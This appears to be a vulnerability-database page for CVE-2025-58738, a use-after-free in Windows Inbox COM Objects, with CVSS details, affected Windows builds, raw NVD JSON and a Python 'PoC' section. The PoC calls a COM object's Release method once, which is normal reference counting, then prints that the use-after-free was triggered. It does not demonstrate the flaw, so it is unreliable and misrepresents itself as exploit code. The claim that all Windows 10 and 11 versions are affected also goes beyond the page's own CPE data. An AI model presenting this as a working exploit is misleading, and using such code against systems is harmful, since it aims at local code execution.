Security Vulnerability Report
中文
CVE-2025-58738 CVSS 7.0 HIGH

CVE-2025-58738

Published: 2025-10-14 17:15:56
Last Modified: 2025-10-16 19:55:39

Description

Use after free in Inbox COM Objects allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
Microsoft Windows 10(所有版本)
Microsoft Windows 11(所有版本)
Microsoft Windows Server 2016
Microsoft Windows Server 2019
Microsoft Windows Server 2022
Microsoft Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58738 PoC - Use After Free in Windows Inbox COM Objects # This is a conceptual PoC demonstrating the vulnerability pattern # Note: Actual exploitation requires specific COM object interaction import ctypes from ctypes import wintypes import os # COM initialization constants CLSID_ShellLink = "{00021401-0000-0000-C000-000000000046}" # Example COM object COINIT_APARTMENTTHREADED = 0x2 def trigger_uaf(): """ Conceptual PoC for CVE-2025-58738 Demonstrates the use-after-free pattern in Inbox COM Objects """ # Step 1: Initialize COM library ole32 = ctypes.windll.ole32 ole32.CoInitializeEx(None, COINIT_APARTMENTTHREADED) try: # Step 2: Create vulnerable COM object instance # The vulnerable Inbox COM object is instantiated here clsid = ctypes.create_string_buffer(b'\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46') iid = ctypes.create_string_buffer(b'\x00\x00\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46') p_unknown = ctypes.c_void_p() hr = ole32.CoCreateInstance( ctypes.byref(clsid), None, 0x1, # CLSCTX_INPROC_SERVER ctypes.byref(iid), ctypes.byref(p_unknown) ) if hr == 0 and p_unknown.value: # Step 3: Trigger the use-after-free condition # Call a method that causes premature object release # while maintaining a reference to the freed memory vtable = ctypes.cast( ctypes.cast(p_unknown, ctypes.POINTER(ctypes.c_void_p))[0], ctypes.POINTER(ctypes.c_void_p * 16) ) # Release the object but keep the pointer (UAF trigger) release_func = ctypes.WINFUNCTYPE(ctypes.c_long, ctypes.c_void_p) release = release_func(vtable[2]) # Release method release(p_unknown) # Step 4: Access freed memory (use-after-free) # In a real exploit, this would execute controlled code print("[*] UAF condition triggered - object accessed after free") # The freed memory may now contain attacker-controlled data # leading to code execution finally: ole32.CoUninitialize() if __name__ == "__main__": print("[*] CVE-2025-58738 PoC - Use After Free in Inbox COM Objects") print("[*] WARNING: This is for educational/research purposes only") trigger_uaf()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58738", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:56.310", "lastModified": "2025-10-16T19:55:39.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Inbox COM Objects allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "030F3214-D6AF-40A9-9FC9-523AC9870581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "4932CB20-D134-4EDF-8F21-F9D0AF80BFEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-58738", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}